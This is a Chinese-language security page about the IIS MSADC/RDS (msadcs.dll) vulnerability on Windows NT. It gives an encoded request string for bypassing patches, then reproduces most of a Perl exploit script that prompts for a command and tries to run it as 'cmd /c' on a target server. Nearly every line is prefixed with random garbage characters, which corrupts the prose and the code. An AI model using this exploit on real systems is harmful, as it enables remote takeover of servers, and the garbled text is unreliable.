IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
jLVl4h& {MBTP;{*~ 涉及程序:
}"s;\?a Microsoft NT server
#ToK$8 au@a8MP 描述:
<i. apBH 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
{S.>BXX V"KS[>>f 详细:
:#t*K6dz 如果你没有时间读详细内容的话,就删除:
a[!%Ld c:\Program Files\Common Files\System\Msadc\msadcs.dll
7(a2L&k^ 有关的安全问题就没有了。
B4H!5b \IM4Z|NN" 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
@x&P9M0g Sv[ 5NZn0& 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
&(pjqV 关于利用ODBC远程漏洞的描述,请参看:
Lxl_"kG I:j3sy http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm _8?o'<!8?^ 6;b9swmh 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
XP?rOOn http://www.microsoft.com/security/bulletins/MS99-025faq.asp E /<lGm:. 3R$Z[D- 这里不再论述。
'Prxocxq Ri*3ySyb 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
2[yBD-": N:5[,O<m_ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
|UUdz_i!: 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
P5<vf aoW6U{\ <yUstz,Xu^ #将下面这段保存为txt文件,然后: "perl -x 文件名"
v
$({C KA s 1(oG #!perl
\3YO<E!t #
(g!p>m!Z # MSADC/RDS 'usage' (aka exploit) script
UK[v6".^h #
J5M+FwZq # by rain.forest.puppy
?\=/$Gt #
`CE^2 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
J>vMo@ # beta test and find errors!
}?@5W, e&<yX use Socket; use Getopt::Std;
0ezYd S~o getopts("e:vd:h:XR", \%args);
{Tp2H_EG 6=GZLpv print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
YUWn;# E+95WF|4k" if (!defined $args{h} && !defined $args{R}) {
cQNs L print qq~
]2SI!Ai7 Usage: msadc.pl -h <host> { -d <delay> -X -v }
/B3R1kNf| -h <host> = host you want to scan (ip or domain)
^C)n$L>C0 -d <seconds> = delay between calls, default 1 second
'-$XX%TOAc -X = dump Index Server path table, if available
Rqipkx -v = verbose
tfO#vw,@ -e = external dictionary file for step 5
YPDf
Y<?v v6(E3)J7 Or a -R will resume a command session
256LH Y|6 y2L#:[8 ~; exit;}
}ut]\]b <U Zd;e@ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
7L5P%zLtB if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
8T[
6J{|C if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
YNdrWBf) if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
uzOYVN$t $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Dh|w^Q if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
qQ[b VD\* 3Hi+Z}8 if (!defined $args{R}){ $ret = &has_msadc;
],etZ%z& die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
C)-^< \*vHB`.,ey print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Nh?|RE0t . "cmd /c ";
QbFHfA2Ij $in=<STDIN>; chomp $in;
q<vf,D@{ ! $command="cmd /c " . $in ;
w*7|dZk{ ;U=q-tb if (defined $args{R}) {&load; exit;}
$m$;v<PSe vsB*rP= print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
;i uQ?MR3 &try_btcustmr;
. RVVWqW n
1b(\PA print "\nStep 2: Trying to make our own DSN...";
Z3KO90O!8 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
XUMX* w&h2y4 print "\nStep 3: Trying known DSNs...";
&7mW9] &known_dsn;
.1 )RW5|c I5ss0JSl/ print "\nStep 4: Trying known .mdbs...";
={2!c0s &known_mdb;
nwI3| & gO?44^hMe if (defined $args{e}){
@LE[ac print "\nStep 5: Trying dictionary of DSN names...";
f7urJ'!V &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
X?r48l?? cV
K7 print "Sorry Charley...maybe next time?\n";
0rSIfYZa exit;
\`.F\Z E8\XNG)V4 ##############################################################################
-[7O7' #U7_a{cn"M sub sendraw { # ripped and modded from whisker
)P&9A)8 sleep($delay); # it's a DoS on the server! At least on mine...
y8Xv~4qQW my ($pstr)=@_;
D|bBu socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
b}!3;: iD die("Socket problems\n");
rM}0%J' if(connect(S,pack "SnA4x8",2,80,$target)){
S:Q! "U select(S); $|=1;
~^I>#Dd print $pstr; my @in=<S>;
>>Ar$ select(STDOUT); close(S);
"bQ[CD return @in;
9W7#u}Z } else { die("Can't connect...\n"); }}
j|fd-<ng le)DgIT>= ##############################################################################
8ip7^ .Ce8L&